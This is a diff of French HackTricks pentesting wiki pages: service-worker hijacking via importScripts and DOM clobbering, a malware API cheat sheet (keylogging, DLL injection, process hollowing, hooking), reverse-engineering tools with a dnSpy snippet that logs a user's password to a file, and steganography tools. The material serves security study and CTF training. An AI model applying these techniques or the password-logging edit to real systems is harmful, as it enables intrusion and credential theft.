La directive de **cache de 24 heures** limite la durée de vie d'un **travailleur de service (SW)** malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie du Script SW (TTL). Les développeurs sont également invités à créer un [**interrupteur d'arrêt du travailleur de service**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
|
||||
La directive de **cache de 24 heures** limite la durée de vie d'un Travailleur de Service (SW) malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie (TTL) du script SW. Les développeurs sont également invités à créer un [**interrupteur d'arrêt du service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
|
||||
|
||||
## Abus de `importScripts` dans un SW via le DOM Clobbering
|
||||
|
||||
La fonction **`importScripts`** appelée depuis un Travailleur de Service peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que** l'attaquant pourrait **modifier, il pourrait** importer un script JS depuis son domaine et obtenir une XSS.
|
||||
La fonction **`importScripts`** appelée depuis un Travailleur de Service peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que l'attaquant pourrait** modifier, il serait capable d'**importer un script JS depuis son domaine** et d'obtenir une XSS.
|
||||
|
||||
**Cela contourne même les protections CSP.**
|
||||
|
||||
**Exemple de code vulnérable:**
|
||||
**Exemple de code vulnérable :**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
@ -97,7 +105,7 @@ Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
|
||||
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour faire en sorte que le SW **charge un script depuis votre propre domaine**.
|
||||
|
||||
Pour un exemple, consultez le lien de référence.
|
||||
|
||||
|
@ -105,6 +113,12 @@ Pour un exemple, consultez le lien de référence.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -113,6 +127,6 @@ Pour un exemple, consultez le lien de référence.
|
|||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Générique
|
||||
|
||||
### Réseau
|
||||
|
@ -56,10 +64,10 @@ Autres façons de soutenir HackTricks :
|
|||
| --------------------------------------------------------- | ------------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Vérifier si un processus est en cours d'exécution] | |
|
||||
| CreateFileW/A \[Vérifier si un fichier existe] | |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Vérifier si un processus est en cours d'exécution] | |
|
||||
| CreateFileW/A \[Vérifier si un fichier existe] | |
|
||||
|
||||
### Furtivité
|
||||
|
||||
|
@ -89,7 +97,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* GetAsyncKeyState() -- Enregistrement des touches
|
||||
* SetWindowsHookEx -- Enregistrement des touches
|
||||
* GetForeGroundWindow -- Obtenir le nom de la fenêtre en cours d'exécution (ou le site web d'un navigateur)
|
||||
* GetForeGroundWindow -- Obtenir le nom de la fenêtre en cours d'exécution (ou le site web à partir d'un navigateur)
|
||||
* LoadLibrary() -- Importer une bibliothèque
|
||||
* GetProcAddress() -- Importer une bibliothèque
|
||||
* CreateToolhelp32Snapshot() -- Liste des processus en cours d'exécution
|
||||
|
@ -102,7 +110,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
### Injection de DLL
|
||||
|
||||
Exécuter une DLL arbitraire dans un autre processus
|
||||
Exécuter une DLL arbitraire à l'intérieur d'un autre processus
|
||||
|
||||
1. Localiser le processus pour injecter la DLL malveillante : CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. Ouvrir le processus : GetModuleHandle, GetProcAddress, OpenProcess
|
||||
|
@ -123,8 +131,8 @@ Trouver un thread d'un processus et le faire charger une DLL malveillante
|
|||
1. Trouver un thread cible : CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||
2. Ouvrir le thread : OpenThread
|
||||
3. Suspendre le thread : SuspendThread
|
||||
4. Écrire le chemin de la DLL malveillante dans le processus cible : VirtualAllocEx, WriteProcessMemory
|
||||
5. Reprendre le thread en chargeant la bibliothèque : ResumeThread
|
||||
4. Écrire le chemin de la DLL malveillante à l'intérieur du processus cible : VirtualAllocEx, WriteProcessMemory
|
||||
5. Reprendre le thread chargement la bibliothèque : ResumeThread
|
||||
|
||||
### Injection PE
|
||||
|
||||
|
@ -132,7 +140,7 @@ Injection d'exécution portable : L'exécutable sera écrit dans la mémoire du
|
|||
|
||||
### Creusement de processus
|
||||
|
||||
Le logiciel malveillant va désallouer le code légitime de la mémoire du processus et charger un binaire malveillant
|
||||
Le logiciel malveillant désallouera le code légitime de la mémoire du processus et chargera un binaire malveillant
|
||||
|
||||
1. Créer un nouveau processus : CreateProcess
|
||||
2. Désallouer la mémoire : ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
|
@ -146,4 +154,24 @@ Le logiciel malveillant va désallouer le code légitime de la mémoire du proce
|
|||
* Les **IRP** (**I/O Request Packets**) transmettent des morceaux de données d'un composant à un autre. Presque tout dans le noyau utilise des IRP et chaque objet de périphérique a sa propre table de fonctions qui peut être accrochée : DKOM (Direct Kernel Object Manipulation)
|
||||
* L'**IAT** (**Import Address Table**) est utile pour résoudre les dépendances. Il est possible d'accrocher cette table afin de détourner le code qui sera appelé.
|
||||
* Accrochage de **EAT** (**Export Address Table**). Ces accrochages peuvent être faits depuis l'**espace utilisateur**. Le but est d'accrocher les fonctions exportées par les DLL.
|
||||
* **Accrochages en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de celles-ci.
|
||||
* **Accrochages en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de celle-ci.
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,12 +8,20 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Outils de rétro-ingénierie basés sur ImGui
|
||||
|
||||
Logiciel :
|
||||
|
@ -43,11 +51,11 @@ Le mérite ici est que si un code source perdu nécessite une restauration à pa
|
|||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Avec un modèle d'extension complet et une API qui étend l'outil pour répondre exactement à vos besoins, .NET Reflector fait gagner du temps et simplifie le développement. Jetons un coup d'œil à la pléthore de services d'ingénierie inverse que cet outil propose :
|
||||
Avec un modèle d'extension complet et une API qui étend l'outil pour répondre à vos besoins exacts, .NET Reflector fait gagner du temps et simplifie le développement. Jetons un coup d'œil à la pléthore de services d'ingénierie inverse que cet outil fournit :
|
||||
|
||||
* Fournit un aperçu de la façon dont les données circulent à travers une bibliothèque ou un composant
|
||||
* Fournit un aperçu de la mise en œuvre et de l'utilisation des langages et des frameworks .NET
|
||||
* Trouve des fonctionnalités non documentées et non exposées pour tirer davantage parti des API et des technologies utilisées.
|
||||
* Trouve des fonctionnalités non documentées et non exposées pour tirer davantage des API et des technologies utilisées.
|
||||
* Trouve des dépendances et différentes assemblies
|
||||
* Repère l'emplacement exact des erreurs dans votre code, les composants tiers et les bibliothèques.
|
||||
* Débogue dans la source de tout le code .NET avec lequel vous travaillez.
|
||||
|
@ -65,7 +73,7 @@ using System.IO;
|
|||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
```
|
||||
### Débogage de DNSpy
|
||||
### Débogage DNSpy
|
||||
|
||||
Pour déboguer du code en utilisant DNSpy, vous devez :
|
||||
|
||||
|
@ -100,7 +108,7 @@ Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouvert
|
|||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
Ensuite, sélectionnez **w3wp.exe** pour vous attacher au serveur **IIS** et cliquez sur **attacher** :
|
||||
Ensuite, sélectionnez **w3wp.exe** pour vous attacher au serveur **IIS** et cliquez sur **Joindre** :
|
||||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
|
@ -156,7 +164,7 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté
|
|||
|
||||
## Applications GUI / Jeux vidéo
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où des valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'informations dans :
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où les valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'informations dans :
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
|
@ -206,7 +214,7 @@ Vous pouvez voir la pile par exemple dans un dump hexadécimal :
|
|||
|
||||
![](<../../.gitbook/assets/image (402).png>)
|
||||
|
||||
### Déobfuscation de shellcode et obtention des fonctions exécutées
|
||||
### Désembrouillage du shellcode et obtention des fonctions exécutées
|
||||
|
||||
Vous devriez essayer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Il vous indiquera quelles fonctions le shellcode utilise et si le shellcode se **décrypte** en mémoire.
|
||||
|
@ -222,11 +230,11 @@ scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner le
|
|||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
L'option **Créer un dump** va générer le shellcode final si des modifications sont apportées au shellcode de manière dynamique en mémoire (utile pour télécharger le shellcode décodé). L'**offset de démarrage** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Déboguer le shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que l'une des options expliquées précédemment est meilleure pour cette tâche car vous pourrez utiliser Ida ou x64dbg).
|
||||
L'option **Créer un dump** va générer le shellcode final si des modifications sont apportées au shellcode dynamiquement en mémoire (utile pour télécharger le shellcode décodé). L'**offset de démarrage** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Déboguer le shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que l'une des options expliquées précédemment est meilleure pour cette tâche car vous pourrez utiliser Ida ou x64dbg).
|
||||
|
||||
### Désassemblage en utilisant CyberChef
|
||||
|
||||
Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
Téléchargez votre fichier de shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
|
@ -275,7 +283,7 @@ Cela résoudra les noms des fonctions.
|
|||
|
||||
## Python compilé
|
||||
|
||||
Sur cette page, vous pouvez trouver comment obtenir le code Python à partir d'un binaire compilé ELF/EXE Python :
|
||||
Sur cette page, vous pouvez trouver comment obtenir le code python à partir d'un binaire compilé ELF/EXE python :
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -374,13 +382,13 @@ FUN_08000864();
|
|||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve la **valeur du bouton pressé**) avec certaines valeurs :
|
||||
Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve **la valeur du bouton pressé**) avec certaines valeurs :
|
||||
|
||||
* Tout d'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran.
|
||||
* Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||
* Dans ce cas, la variable **`DAT_030000d8`** est comparée à 0xf3 et si la valeur est la même, un certain code est exécuté.
|
||||
* Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après être entré dans le code.\
|
||||
Si c'est inférieur à 8, quelque chose qui implique d'**ajouter** des valeurs à **`DAT_030000d8`** est fait (essentiellement, il ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
||||
- Tout d'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran.
|
||||
- Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||
- Dans ce cas, la variable **`DAT_030000d8`** est comparée avec 0xf3 et si la valeur est la même, un certain code est exécuté.
|
||||
- Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après être entré dans le code.\
|
||||
Si c'est inférieur à 8, quelque chose qui implique **l'ajout** de valeurs à **`DAT_030000d8`** est fait (essentiellement, il ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
||||
|
||||
Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 pour que l'addition résultante soit 0xf3**.
|
||||
|
||||
|
@ -394,3 +402,23 @@ Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appu
|
|||
|
||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Déobfuscation binaire)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,10 +10,18 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Extraction de données à partir de fichiers**
|
||||
|
||||
### **Binwalk**
|
||||
|
@ -32,7 +40,7 @@ foremost -i file # Extracts data
|
|||
```
|
||||
### **Exiftool**
|
||||
|
||||
Aide à visualiser les métadonnées des fichiers, disponible [ici](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
Aide à afficher les métadonnées des fichiers, disponible [ici](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
|
@ -44,11 +52,11 @@ exiv2 file # Shows the metadata
|
|||
```
|
||||
### **Fichier**
|
||||
|
||||
Identifier le type de fichier avec lequel vous travaillez.
|
||||
Identifiez le type de fichier avec lequel vous travaillez.
|
||||
|
||||
### **Chaînes de caractères**
|
||||
|
||||
Extrait les chaînes de caractères lisibles des fichiers, en utilisant différents paramètres d'encodage pour filtrer la sortie.
|
||||
Extrait les chaînes de caractères lisibles des fichiers, en utilisant divers paramètres d'encodage pour filtrer la sortie.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -88,16 +96,16 @@ Pour tenter de réparer une image endommagée, ajouter un commentaire de métado
|
|||
|
||||
Steghide facilite la dissimulation de données dans les fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Commandes :**
|
||||
**Commandes:**
|
||||
|
||||
* `steghide info fichier` révèle si un fichier contient des données cachées.
|
||||
* `steghide extract -sf fichier [--mot de passe]` extrait les données cachées, mot de passe en option.
|
||||
* `steghide extract -sf fichier [--mot de passe motdepasse]` extrait les données cachées, mot de passe en option.
|
||||
|
||||
Pour une extraction basée sur le web, visitez [ce site web](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Attaque par force brute avec Stegcracker :**
|
||||
**Attaque par force brute avec Stegcracker:**
|
||||
|
||||
* Pour tenter de craquer un mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit :
|
||||
* Pour tenter de craquer un mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
|
@ -129,6 +137,8 @@ Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du cont
|
|||
Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats tels que PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck pour l'analyse des fichiers PNG**
|
||||
|
||||
Pour analyser les fichiers PNG ou valider leur authenticité, utilisez:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -143,13 +153,13 @@ Pour une exploration plus approfondie, envisagez de visiter :
|
|||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Extraction de données des fichiers audio**
|
||||
## **Extraction de données à partir d'audios**
|
||||
|
||||
La **stéganographie audio** offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour incorporer ou récupérer du contenu caché.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide est un outil polyvalent conçu pour cacher des données dans des fichiers JPEG, BMP, WAV et AU. Des instructions détaillées sont fournies dans la [documentation des astuces de stéganographie](stego-tricks.md#steghide).
|
||||
Steghide est un outil polyvalent conçu pour cacher des données dans des fichiers JPEG, BMP, WAV et AU. Des instructions détaillées sont fournies dans la [documentation des astuces stéganographiques](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
|
@ -157,7 +167,7 @@ Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF,
|
|||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, mettre en évidence des informations détaillées et repérer d'éventuelles anomalies.
|
||||
ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, mettant en évidence des informations détaillées et identifiant toute anomalie.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
|
@ -177,15 +187,15 @@ Deepsound permet le chiffrement et la détection d'informations dans des fichier
|
|||
|
||||
Un outil inestimable pour l'inspection visuelle et analytique des fichiers audio, Sonic Visualizer peut révéler des éléments cachés indétectables par d'autres moyens. Visitez le [site officiel](https://www.sonicvisualiser.org/) pour en savoir plus.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
### **Tonalités DTMF - Tonalités de numérotation**
|
||||
|
||||
La détection des tonalités DTMF dans les fichiers audio peut être réalisée à l'aide d'outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Autres Techniques**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
### **Longueur Binaire SQRT - Code QR**
|
||||
|
||||
Les données binaires qui donnent un nombre entier en racine carrée pourraient représenter un code QR. Utilisez ce snippet pour vérifier:
|
||||
Les données binaires qui donnent un nombre entier en carré peuvent représenter un code QR. Utilisez ce snippet pour vérifier:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
|
@ -194,15 +204,21 @@ math.sqrt(2500) #50
|
|||
|
||||
Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **Traduction en braille**
|
||||
### **Traduction en Braille**
|
||||
|
||||
Pour traduire le braille, le [traducteur Braille de Branah](https://www.branah.com/braille-translator) est une excellente ressource.
|
||||
Pour traduire en Braille, le [traducteur Braille Branah](https://www.branah.com/braille-translator) est une excellente ressource.
|
||||
|
||||
## **Références**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
